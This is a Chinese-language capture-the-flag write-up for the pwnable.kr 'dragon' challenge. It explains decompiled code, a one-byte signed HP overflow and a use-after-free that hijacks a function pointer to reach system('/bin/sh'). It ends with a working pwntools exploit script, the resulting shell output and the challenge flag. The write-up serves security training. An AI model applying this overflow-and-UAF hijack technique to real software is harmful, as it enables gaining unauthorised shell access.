0x00 dragon

一个小游戏,我方可以选择牧师或者骑士(死亡骑士DK,23333),牧师的技能有

[ Priest ] 12 HP / 0 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.

骑士的技能有

[ Knight ] 50 HP / 0 Mana
[ 1 ] Crash
Deals 20 Damage.
[ 2 ] Frenzy
Deals 40 Damage, But You Lose 20 HP.

然后对手是个怪兽,按照怪兽儿子,怪兽妈妈这样的顺序,然后正常打是打不过的。

0x01 分析

打赢怪兽后会进去这个函数

int SecretLevel()
{
char s1; // [sp+12h] [bp-16h]@1
int v2; // [sp+1Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
printf("Welcome to Secret Level!\nInput Password : ");
__isoc99_scanf("%10s", &s1);
if ( strcmp(&s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
{
puts("Wrong!\n");
exit(-1);
}
system("/bin/sh");
return *MK_FP(__GS__, 20) ^ v2;
}

s1只有10个字节的长度,而且这个函数有stack canary保护,所以肯定没法执行到system("/bin/sh")

然后我们分析一下,如何打赢怪兽。

怪兽的内存区域是这样分配的

+----------+----------+--+--+----+----------+
| Func | id |HP|Ab| | damage |
+----------+----------+--+--+----+----------+

其中id = 0是Bady Dragon,id = 1是Mama Dragon。

万家英雄的内存区域是这样分配的

+----------+----------+----------+----------+
| id | HP | MP | Func |
+----------+----------+----------+----------+

其中id = 1是Periest,id = 2是Knight。

战胜怪兽的判定是:

  1. 我方HP > 0
  2. 怪兽HP <= 0

通过正常打肯定是无法战胜的怪兽的,我们注意到一点,存放怪兽HP的内存区域只有1个字节,而且是有符号数。所以,只要怪兽血量大于128就发生了整形溢出,导致判定怪兽血量为负数。这样,玩家就获得了胜利。

我们可以注意到,怪兽有个特殊技能回血,所以只要让怪兽回血到128以上就可以取胜利。但是又同时注意到,怪兽攻击和回血是同一轮次的。所以应该在不对怪兽进行攻击的情况下撑下更多的轮次,而且要保证自己不死。

综上,只能在怪兽为Mama的情况下,使用牧师的ClarityHolyShield

所以,获得胜利使用的序列如下1221332332332332

void __cdecl FightDragon(int hero_choice)
{
char v1; // al@1
void *hero_name; // ST1C_4@10
int FightResult; // [sp+10h] [bp-18h]@7
_DWORD *humen; // [sp+14h] [bp-14h]@1
_DWORD *monster; // [sp+18h] [bp-10h]@1
humen = malloc(0x10u);
monster = malloc(0x10u);
v1 = Count++;
if ( v1 & 1 )
{
monster[1] = 1;
*((_BYTE *)monster + 8) = 80;
*((_BYTE *)monster + 9) = 4;
monster[3] = 10;
*monster = PrintMonsterInfo;
puts("Mama Dragon Has Appeared!");
}
else
{
monster[1] = 0;
*((_BYTE *)monster + 8) = 50; // hp
*((_BYTE *)monster + 9) = 5; // special ability
monster[3] = 30; // demage
*monster = PrintMonsterInfo;
puts("Baby Dragon Has Appeared!");
}
if ( hero_choice == 1 )
{
*humen = 1;
humen[1] = 42;
humen[2] = 50;
humen[3] = PrintPlayerInfo;
FightResult = PriestAttack((int)humen, monster);
}
else
{
if ( hero_choice != 2 )
return;
*humen = 2;
humen[1] = 50;
humen[2] = 0;
humen[3] = PrintPlayerInfo;
FightResult = KnightAttack((int)humen, monster);
}
if ( FightResult )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
hero_name = malloc(0x10u);
__isoc99_scanf("%16s", hero_name);
puts("And The Dragon You Have Defeated Was Called:");
((void (__cdecl *)(_DWORD *))*monster)(monster);
}
else
{
puts("\nYou Have Been Defeated!");
}
free(humen);
}

获得胜利后注意到有个UAF,因为战胜怪兽后会free(moster),后来又

hero_name = malloc(0x10u);
__isoc99_scanf("%16s", hero_name);

所以输入的字符的内存空间指向monster,然后((void (__cdecl *)(_DWORD *))*monster)(monster);此时EIP会指向我们输入的前四个字符,此时指向执行system("/bin/sh")即可。

0x02 exploit

from pwn import *
io = remote("pwnable.kr", 9004)
cmd_seq = "1221332332332332"
for c in cmd_seq:
io.sendline(c)
addr = 0x08048DBF
io.sendline(p32(addr))
io.interactive()

最终结果

$ ls
dragon
flag
log
super.pl
$ cat flag
MaMa, Gandhi was right! :)
$
[*] Closed connection to pwnable.kr port 9004